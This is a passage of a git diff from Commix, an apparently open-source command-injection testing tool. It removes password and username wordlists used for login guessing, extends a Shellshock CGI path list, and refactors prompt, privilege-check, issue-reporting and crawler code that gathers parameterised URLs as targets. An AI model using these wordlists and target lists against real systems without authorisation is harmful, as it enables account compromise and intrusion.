-payton -peach -peanuts -pedro1 -peggy -pekka -perfect -performa -perry -peterk -peterpan -phialpha -philips -phillips -phishy -phone -piano1 -pianoman -pianos -pierce -pigeon -pink -pioneer -pipeline -piper1 -pirate -pisces -plato -play -playboy -pluto -poetic -poetry -pole -pontiac -pookey -pope -popeye -prayer -precious -prelude -premier -print -printing -prof -provider -puddin -pulsar -pussy -pussy1 -pyro -qqq111 -quebec -qwer -qwert -qwerty12 -qwertyui -r0ger -rabbit1 -racer -racerx -rachelle -racoon -radar -rafiki -raleigh -ram -rambo -randy1 -rasta1 -ratio -ravens -redcloud -redfish -redman -redskins -redwing -redwood -reed -reggae -reggie -reliant -rene -renee -renegade -rescue -revolution -rex -reznor -rhino -rhjrjlbk -richard1 -richards -richmond -riley -ripper -ripple -rita -robby -roberts -robocop -robotics -roche -rock -rocket1 -rockie -rockon -roger1 -rogers -roland -rommel -roni -rookie -rootbeer -rosie -rossigno -rufus -rugger -rush -rusty -ruthless -sabbath -sabina -safety -safety1 -saigon -saint -samIam -samiam -sammie -sammy -samsam -sandi -sanjose -saphire -sarah1 -saskia -sassy -satori -saturday -saturn5 -schnapps -science -scooby -scoobydoo -scooter1 -scorpion -scotch -scotty -scouts -scuba -search -secret3 -seeker -seoul -september -server -services -seven7 -sex -sexy -shaggy -shanghai -shanny -shaolin -shasta -shayne -shazam -shelly -shelter -sherry -ship -shirley -shorty -shotgun -sidney -sigmachi -signal -signature -simba1 -simsim -sinatra -sirius -skate -skip -skipper1 -skydive -skyler -slayer -sleepy -slick -slider -slip -smegma -smile1 -smiths -smitty -smoke -smurfy -snakes -snapper -snoop -snow -sober1 -solomon -sonics -sony -sophia -space -sparks -spartan -spazz -sphynx -spike1 -spock -sponge -spoon -spot -sprocket -spurs -squash -stan -starbuck -stargate -starlight -stars -steel -steph1 -stephi -steve1 -stevens -stewart -sting -stivers -stocks -stone -storage -stranger -strat -strato -stretch -strong -stud -student2 -studio -stumpy -sucker -suckme -sue -sultan -summit -sunfire -sunset -super -superstar -surfing -susan1 -susanna -sutton -suzy -swanson -sweden -sweetpea -sweety -swim -switzer -swordfish -system5 -t-bone -tab -tabatha -tacobell -taiwan -talon -tamtam -tanner -tapani -targas -target -tarheel -tasha -tata -tattoo -tazdevil -tequila -terry1 -test2 -test3 -tester -testi -testtest -texas -thankyou -theend -thelorax -thisisit -thompson -thorne -thrasher -tiger2 -tightend -tika -tim -timber -timothy -tinkerbell -tnt -tom -tool -topcat -topher -toshiba -total -toto1 -tototo -toucan -transfer -transit -transport -trapper -trash -travis -tre -treasure -trees -tricky -trish -triton -trombone -trophy -trouble -trucker -tucson -tula -turbo -turbo2 -twins -tyler1 -ultimate -unique -united -unity -unix -upsilon -ursula -user1 -vacation -valley -vampire -vanessa -vedder -velo -venice -venus -vermont -vette -vicki -vicky -victor1 -vikram -vincent1 -violet -violin -virago -virgil -virginia -vision -visual -volcano -volley -voodoo -vortex -waiting -walden -waldo -walleye -wanker -warner -water1 -wayne1 -webmaster -webster -wedge -weezer -wendy1 -western -whale1 -whit -white -whitney -whocares -whoville -wibble -wildcat -will -william1 -wilma -wind -window -winniethepooh -wolfgang -wolverine -wombat1 -wonder -word -world -x-files -x-men -xanth -xxx123 -xxxxxxxx -xyz -yamaha -yankee -yogibear -yolanda -yomama -yvette -zachary -zack -zebras -zepplin -zoltan -zoomer -zxc -zxcvbn -!@#$%^& -00000000 -121212 -1234qwer -123go -131313 -13579 -1701d -21122112 -369 -5555 -80486 -90210 -911 -99999999 -@#$%^& -ABC123 -Abcdef -Asdfgh -Casio -Changeme -FuckYou -Fuckyou -Gizmo -Hello -JSBach -Michel -NCC1701 -PPP -Qwert -Qwerty -Windows -Zxcvb -Zxcvbnm -action -advil -allo -amelie -anaconda -angus -apollo13 -artist -aspen -ass -asshole -ath -benoit -bernard -bernie -bigbird -bird -blizzard -bluesky -bonjour -booster -byteme -caesar -cardinal -carolina -cats -cedic -cesar -chandler -changeit -chapman -charlie1 -chevy -chiquita -chocolat -christia -christoph -classroom -cloclo -coco -corrado -cougars -courtney -dasha -demo -dirk -dolphins -dominic -donkey -doom2 -dusty -e -energy -fearless -fiction -forest -french1 -fubar -gator -gilles -glenn -go -gocougs -good-luck -graymail -guinness -hilbert -hola -home -homebrew -hotdog -indian -jared -jimbo -jkm -johnson -jojo -josie -judy -koko -kristin -lloyd -lorraine -lulu -lynn -m1911a1 -mac -macintosh -mailer -mars -maxime -memory -meow -mimi -mirror -nat -ne1410s -ne1469 -ne14a69 -nebraska -nemesis -network -newcourt -nigel -niki -nite -notused -oatmeal -patton -paul -pedro -planet -players -politics -pomme -portland -praise -property -protel -psalms -qwaszx -raiders -rambo1 -rancid -ruth -sales -salut -scrooge -shawn -shelley -skidoo -softball -spain -speedo -sports -sss -ssssss -steele -steph -stephani -sunday -surf -sylvie -symbol -tiffany -tigre -toronto -trixie -undead -valentin -velvet -viking -walker -watson -young -zhongguo \ No newline at end of file diff --git a/src/txt/shocker-cgi_list.txt b/src/txt/shocker-cgi_list.txt index de1f14c0da..903decf9cc 100644 --- a/src/txt/shocker-cgi_list.txt +++ b/src/txt/shocker-cgi_list.txt @@ -400,3 +400,4 @@ /wwwadmin.cgi /wwwboard.cgi /wwwboard/wwwboard.cgi +/cgi-bin/ \ No newline at end of file diff --git a/src/txt/usernames.txt b/src/txt/usernames.txt deleted file mode 100644 index 05f46a5a39..0000000000 --- a/src/txt/usernames.txt +++ /dev/null @@ -1,125 +0,0 @@ -111111 -123456 -12345678 -abc123 -abramov -account -accounting -ad -adm -admin -administrator -adver -advert -advertising -afanasev -agafonov -agata -aksenov -aleksander -aleksandrov -alekse -alenka -alexe -alexeev -alla -anatol -andre -andreev -andrey -anna -anya -ao -aozt -arhipov -art -avdeev -avto -bank -baranov -Baseball -belousov -bill -billing -blinov -bobrov -bogdanov -buh -buhg -buhgalter -buhgalteria -business -bux -catchthismail -company -contact -contactus -corp -design -dir -director -direktor -dragon -economist -edu -email -er -expert -export -fabrika -fin -finance -ftp -glavbuh -glavbux -glbuh -helloitmenice -help -holding -home -hr -iamjustsendingthisleter -info -ingthisleter -job -john -kadry -letmein -mail -manager -marketing -marketing -mike -mogggnomgon -monkey -moscow -mysql -maint -office -ok -oracle -password -personal -petgord34truew -post -postmaster -pr -qwerty -rbury -reklama -root -r00t -sale -sales -secretar -sekretar -support -test -testing -thisisjusttestletter -trade -uploader -user -webmaster -wwwadmin -www-data \ No newline at end of file diff --git a/src/utils/__init__.py b/src/utils/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/utils/__init__.py +++ b/src/utils/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/colors.py b/src/utils/colors.py index 14932f4534..9a4044db07 100644 --- a/src/utils/colors.py +++ b/src/utils/colors.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/common.py b/src/utils/common.py index 9c7dfaa30a..c522355a47 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -23,9 +23,118 @@ import traceback from src.utils import menu from src.utils import settings +from src.thirdparty import six from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +""" +Invalid cmd output +""" +def invalid_cmd_output(cmd): + err_msg = "The execution of '" + cmd + "' command, does not return any output." + return err_msg + +""" +Invalid option msg +""" +def invalid_option(option): + err_msg = "'" + option + "' is not a valid answer." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + +""" +Reads input from terminal safely +""" +def safe_input(message): + try: + return _input(message) + except UnicodeDecodeError as e: + return _input(message.encode("utf-8", "ignore").decode("utf-8")) + except Exception as err_msg: + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return "" + +""" +Reads input from terminal +""" +def read_input(message, default=None, check_batch=True): + def is_empty(): + value = safe_input(settings.print_message(message)) + if len(value) == 0: + return default + else: + return value + try: + value = None + if "\n" in message: + message += ("\n" if message.count("\n") > 1 else "") + elif len(message) == 0: + return is_empty() + if settings.ANSWERS: + if not any(_ in settings.ANSWERS for _ in ",="): + return is_empty() + else: + for item in settings.ANSWERS.split(','): + question = item.split('=')[0].strip() + answer = item.split('=')[1] if len(item.split('=')) > 1 else None + if answer and question.lower() in message.lower(): + value = answer + settings.print_data_to_stdout(settings.print_message(message + str(value))) + return value + elif answer is None and value: + return is_empty() + if value: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Used the given answer." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_message(message + str(value))) + return value + elif value is None: + if check_batch and menu.options.batch: + settings.print_data_to_stdout(settings.print_message(message + str(default))) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Used the default behavior, running in batch mode." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return default + else: + return is_empty() + except KeyboardInterrupt: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise + +""" +Extract regex result +""" +def extract_regex_result(regex, content): + result = None + if regex and content and "?P" in regex: + match = re.search(regex, content) + if match: + result = match.group("result") + return result + +""" +Returns True if the current process is run under admin privileges +""" +def running_as_admin(): + is_admin = False + if settings.PLATFORM in ("posix", "mac"): + _ = os.geteuid() + if isinstance(_, (float, six.integer_types)) and _ == 0: + is_admin = True + + elif settings.IS_WINDOWS: + import ctypes + _ = ctypes.windll.shell32.IsUserAnAdmin() + if isinstance(_, (float, six.integer_types)) and _ == 1: + is_admin = True + else: + err_msg = settings.APPLICATION + " is not able to check if you are running it " + err_msg += "as an administrator account on this platform. " + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + is_admin = True + + return is_admin + """ Get total number of days from last update """ @@ -35,7 +144,17 @@ def days_from_last_update(): warn_msg = "You haven't updated " + settings.APPLICATION + " for more than " warn_msg += str(days_from_last_update) + " day" warn_msg += "s"[days_from_last_update == 1:] + "!" - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Shows all HTTP error codes raised +""" +def show_http_error_codes(): + if settings.HTTP_ERROR_CODES_SUM and settings.VERBOSITY_LEVEL != 0: + if any((str(_).startswith('4') or str(_).startswith('5')) and _ != settings.INTERNAL_SERVER_ERROR for _ in settings.HTTP_ERROR_CODES_SUM): + debug_msg = "Too many 4xx and/or 5xx HTTP error codes " + debug_msg += "could mean that some kind of protection is involved." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ Automatically create a Github issue with unhandled exception information. @@ -48,37 +167,33 @@ def create_github_issue(err_msg, exc_msg): _ = re.sub(r".+\Z", "", _) _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) _ = re.sub(r"= _", "= ", _) - _ = _.encode(settings.UNICODE_ENCODING) - - bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\"" + _ = _.encode(settings.DEFAULT_CODEC) + + key = hashlib.md5(_).hexdigest()[:8] + + bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\" " + "(#" + key + ")" while True: try: - if not menu.options.batch: - question_msg = "Do you want to automatically create a new (anonymized) issue " - question_msg += "with the unhandled exception information at " - question_msg += "the official Github repository? [y/N] " - choise = _input(settings.print_question_msg(question_msg)) - else: - choise = "" - if len(choise) == 0: - choise = "n" + message = "Do you want to automatically create a new (anonymized) issue " + message += "with the unhandled exception information at " + message += "the official Github repository? [y/N] " + choise = read_input(message, default="N", check_batch=True) if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return else: - err_msg = "'" + choise + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + invalid_option(choise) pass - except: - print("\n") + except: + settings.print_data_to_stdout("") raise SystemExit() err_msg = err_msg[err_msg.find("\n"):] request = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \ - _urllib.parse.quote("repo:commixproject/commix" + " " + str(bug_report)) + _urllib.parse.quote("repo:commixproject/commix" + settings.SINGLE_WHITESPACE + str(bug_report)) ) try: @@ -91,40 +206,41 @@ def create_github_issue(err_msg, exc_msg): if closed: warn_msg += " and resolved. Please update to the latest " warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" - warn_msg += ".\n" - print(settings.print_warning_msg(warn_msg)) + warn_msg += ".\n" + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return except: pass data = {"title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"} - request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", - data = json.dumps(data).encode(), - headers = {"Authorization": "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.UNICODE_ENCODING)).decode()} + request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", + data = json.dumps(data).encode(), + headers = {settings.AUTHORIZATION: "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.DEFAULT_CODEC)).decode()} ) try: content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() except Exception as err: content = None - issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.UNICODE_ENCODING) or "") + issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.DEFAULT_CODEC) or "") if issue_url: info_msg = "The created Github issue can been found at the address '" + str(issue_url.group(0)) + "'.\n" - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: warn_msg = "Something went wrong while creating a Github issue." if settings.UNAUTHORIZED_ERROR in str(err): warn_msg += " Please update to the latest revision.\n" - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Masks sensitive data in the supplied message. """ def mask_sensitive_data(err_msg): for item in settings.SENSITIVE_OPTIONS: - match = re.search(r"(?i)commix.+("+str(item)+")(\s+|=)([^ ]+)", err_msg) + match = re.search(r"(?i)commix.+(" + str(item) + r")(\s+|=)([^-]+)", err_msg) if match: - err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3))) + err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3)) + settings.SINGLE_WHITESPACE) + return err_msg """ @@ -137,54 +253,54 @@ def unhandled_exception(): match = re.search(r"\s*(.+)\s+ValueError", exc_msg) err_msg = "Identified corrupted .pyc file(s)." err_msg += "Please delete .pyc files on your system to fix the problem." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - elif all(_ in exc_msg for _ in ("No such file", "_'")): - err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " - err_msg += "You should retrieve the latest development version from official GitHub " - err_msg += "repository at '" + settings.GIT_URL + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "must be pinned buffer, not bytearray" in exc_msg: err_msg = "Error occurred at Python interpreter which " err_msg += "is fixed in 2.7.x. Please update accordingly. " err_msg += "(Reference: https://bugs.python.org/issue8104)" - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - elif "MemoryError" in exc_msg: + elif any(_ in exc_msg for _ in ("MemoryError", "Cannot allocate memory")): err_msg = "Memory exhaustion detected." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "Permission denied: '" in exc_msg: match = re.search(r"Permission denied: '([^']*)", exc_msg) err_msg = "Permission error occurred while accessing file '" + match.group(1) + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif all(_ in exc_msg for _ in ("Access is denied", "subprocess", "metasploit")): err_msg = "Permission error occurred while running Metasploit." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif all(_ in exc_msg for _ in ("Permission denied", "metasploit")): err_msg = "Permission error occurred while using Metasploit." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + elif "Invalid argument" in exc_msg: + err_msg = "Corrupted installation detected. " + err_msg += "You should retrieve the latest (dev) version from official GitHub " + err_msg += "repository at '" + settings.GIT_URL + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif all(_ in exc_msg for _ in ("No such file", "_'")): - err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " + err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " err_msg += "You should retrieve the latest (dev) version from official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "Invalid IPv6 URL" in exc_msg: err_msg = "invalid URL ('" + exc_msg.strip().split('\n')[-1] + "')" - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif any(_ in exc_msg for _ in ("Broken pipe",)): @@ -192,34 +308,34 @@ def unhandled_exception(): elif any(_ in exc_msg for _ in ("The paging file is too small",)): err_msg = "No space left for paging file." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif all(_ in exc_msg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or \ any(_ in exc_msg for _ in ("source code string cannot contain null bytes", "No module named")) or \ - any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")): + any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", "", exc_msg) - print(settings.print_critical_msg(err_msg + "\n" + exc_msg.rstrip())) + exc_msg = re.sub(r'".+?[/\\](\w+\.py)', r"\"\g<1>", exc_msg) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + "\n" + exc_msg.rstrip())) create_github_issue(err_msg, exc_msg[:]) # eof \ No newline at end of file diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 325538e5a1..19da0478ef 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -3,125 +3,248 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re import sys +import socket import tempfile from src.utils import menu from src.utils import settings +from src.utils import common from src.core.injections.controller import checks from src.core.requests import headers +from src.core.requests import requests +from src.core.requests import proxy +from src.core.requests import redirection +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup -SITEMAP_LOC = [] -HREF_LIST = [] -SKIPPED_URLS = 0 -def store_crawling(): +def init_global_vars(): + global crawled_hrefs + crawled_hrefs = [] + global sitemap_loc + sitemap_loc = [] + global visited_hrefs + visited_hrefs = [] + global new_crawled_hrefs + new_crawled_hrefs = [] + +""" +Change the crawling depth level. +""" +def set_crawling_depth(): while True: - if not menu.options.batch: - question_msg = "Do you want to store crawling results to a temporary file " - question_msg += "(for eventual further processing with other tools)? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) + message = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) + if message in settings.CHOICE_YES or message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() else: - message = "" - if len(message) == 0: - message = "n" + common.invalid_option(message) + pass + + # Change the crawling depth level. + if message in settings.CHOICE_YES: + while True: + message = "Please enter the crawling depth level: > " + message = common.read_input(message, default="1", check_batch=True) + menu.options.crawldepth = message + return + + +""" +Normalize crawling results. +""" +def normalize_results(output_href): + results = [] + while True: + message = "Do you want to normalize crawling results? [Y/n] > " + message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: - filename = tempfile.mkstemp(suffix=".txt")[1] - info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." - print(settings.print_info_msg(info_msg)) - return str(filename) + seen = set() + for target in output_href: + try: + value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "") + match = re.search(r"/[^/?]*\?.+\Z", value) + if match: + key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + if '=' in key and key not in seen: + results.append(target) + seen.add(key) + except TypeError: + pass + no_usable_links(results) + return results elif message in settings.CHOICE_NO: - return None + no_usable_links(output_href) + return output_href elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - sys.stdout.write(settings.print_error_msg(err_msg)) - sys.stdout.flush() - pass + common.invalid_option(message) + pass + """ -Do a request to target URL. +Store crawling results to a temporary file. """ -def request(url): - global SKIPPED_URLS +def store_crawling(output_href): try: - # Check if defined POST data - if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) - else: - request = _urllib.request.Request(url) - headers.do_check(request) - headers.check_http_traffic(request) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg) + " - Skipping " + str(url) - sys.stdout.write(settings.print_critical_msg(err_msg)) - if settings.VERBOSITY_LEVEL >= 2: - print("") - SKIPPED_URLS += 1 - - + while True: + message = "Do you want to store crawling results to a temporary file " + message += "(for eventual further processing with other tools)? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) + if message in settings.CHOICE_YES: + filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1] + info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as crawling_results: + for url in output_href: + crawling_results.write(str(url.encode(settings.DEFAULT_CODEC).decode()) + "\n") + return + elif message in settings.CHOICE_NO: + return + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(message) + pass + except: + pass + """ Check for URLs in sitemap.xml. """ -def sitemap(url): +def sitemap(url, http_request_method): try: if not url.endswith(".xml"): if not url.endswith("/"): url = url + "/" - url = _urllib.parse.urljoin(url, "sitemap.xml") - response = request(url) + url = _urllib.parse.urljoin(url, settings.SITEMAP_XML_FILE) + response = request(url, http_request_method) content = checks.page_encoding(response, action="decode") for match in re.finditer(r"\s*([^<]+)", content or ""): url = match.group(1).strip() - SITEMAP_LOC.append(url) + if url not in sitemap_loc: + sitemap_loc.append(url) if url.endswith(".xml") and "sitemap" in url.lower(): while True: warn_msg = "A sitemap recursion detected (" + url + ")." - print(settings.print_warning_msg(warn_msg)) - if not menu.options.batch: - question_msg = "Do you want to follow? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + message = "Do you want to follow? [Y/n] > " + message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: - sitemap(url) + sitemap(url, http_request_method) break elif message in settings.CHOICE_NO: break elif message in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(message) pass - return SITEMAP_LOC + no_usable_links(sitemap_loc) + return sitemap_loc except: + if not menu.options.crawldepth: + raise SystemExit() pass + +""" +Store the identified (valid) hrefs. +""" +def store_hrefs(href, identified_hrefs, redirection): + set(crawled_hrefs) + set(new_crawled_hrefs) + if href not in crawled_hrefs: + if (settings.DEFAULT_CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection: + new_crawled_hrefs.append(href) + identified_hrefs = True + crawled_hrefs.append(href) + return identified_hrefs + + +""" +Do a request to target URL. +""" +def request(url, http_request_method): + return requests.crawler_request(url, http_request_method) + +""" +Enable crawler. +""" +def enable_crawler(): + message = "" + if not settings.CRAWLING: + while True: + message = "Do you want to enable crawler? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) + if message in settings.CHOICE_YES: + menu.options.crawldepth = 1 + break + if message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(message) + pass + set_crawling_depth() + """ -Grab the crawled hrefs. +Check for the existence of site's sitemap """ -def crawling(url): +def check_sitemap(): + while True: + message = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " + message += "the existence of site's sitemap(.xml)? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) + if message in settings.CHOICE_YES: + settings.SITEMAP_CHECK = True + return + elif message in settings.CHOICE_NO: + settings.SITEMAP_CHECK = False + return + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(message) + pass + +""" +Check if no usable links found. +""" +def no_usable_links(crawled_hrefs): + if len(crawled_hrefs) == 0: + warn_msg = "No usable links found (with GET parameters)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if not settings.MULTI_TARGETS: + raise SystemExit() + +""" +The crawing process. +""" +def do_process(url, http_request_method): + identified_hrefs = False + if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0: + settings.print_data_to_stdout(settings.END_LINE.CR) + # Grab the crawled hrefs. try: - response = request(url) + response = request(url, http_request_method) content = checks.page_encoding(response, action="decode") match = re.search(r"(?si)]*>(.+)", content) if match: @@ -135,165 +258,84 @@ def crawling(url): for tag in tags: href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href") if href: - href = _urllib.parse.urljoin(url, href) + href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href)) if _urllib.parse.urlparse(url).netloc in href: - if not re.search(r"\?(v=)?\d+\Z", href) and not \ - re.search(r"(?i)\.(js|css)(\?|\Z)", href) and \ - href.split('.')[-1].lower() not in settings.CRAWL_EXCLUDE_EXTENSIONS: - if request(href): - HREF_LIST.append(href) - if len(HREF_LIST) != 0: - return list(set(HREF_LIST)) - else: - if not settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - warn_msg = "No usable links found." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() - except (UnicodeEncodeError, ValueError) as e: # for non-HTML files and non-valid links - pass + if (common.extract_regex_result(r"\A[^?]+\.(?P\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS: + if not re.search(r"\?(v=)?\d+\Z", href) and not re.search(r"(?i)\.(js|css)(\?|\Z)", href): + if menu.options.crawl_exclude and re.search(menu.options.crawl_exclude, href or ""): + if href not in visited_hrefs: + visited_hrefs.append(href) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping URL " + href + "." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + else: + identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) + no_usable_links(crawled_hrefs) + if identified_hrefs: + if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1: + return list(set(new_crawled_hrefs)) + return list(set(crawled_hrefs)) + return list("") -""" -The crawing process. -""" -def do_process(url): - try: - crawled_href = [] - for url in crawling(url): - crawled_href.append(url) - return crawled_href - except TypeError: + except Exception as e: # for non-HTML files and non-valid links pass + """ The main crawler. """ -def crawler(url): - if not menu.options.sitemap_url: - if menu.options.crawldepth > 2: - err_msg = "Depth level '" + str(menu.options.crawldepth) + "' is not a valid." - print(settings.print_error_msg(err_msg)) - raise SystemExit() - info_msg = "Starting crawler and searching for " - info_msg += "links with depth " + str(menu.options.crawldepth) + "." - print(settings.print_info_msg(info_msg)) +def crawler(url, url_num, crawling_list, http_request_method): + init_global_vars() + if crawling_list > 1: + _ = " (" + str(url_num) + "/" + str(crawling_list) + ")" else: - while True: - if not menu.options.batch: - question_msg = "Do you want to change the crawling depth level? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" - if message in settings.CHOICE_YES or message in settings.CHOICE_NO: - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - # Change the crawling depth level. - if message in settings.CHOICE_YES: - while True: - question_msg = "Please enter the crawling depth level (1-2) > " - message = _input(settings.print_question_msg(question_msg)) - if len(message) == 0: - message = 1 - break - elif str(message) != "1" and str(message) != "2": - err_msg = "Depth level '" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + _ = "" + response = request(url, 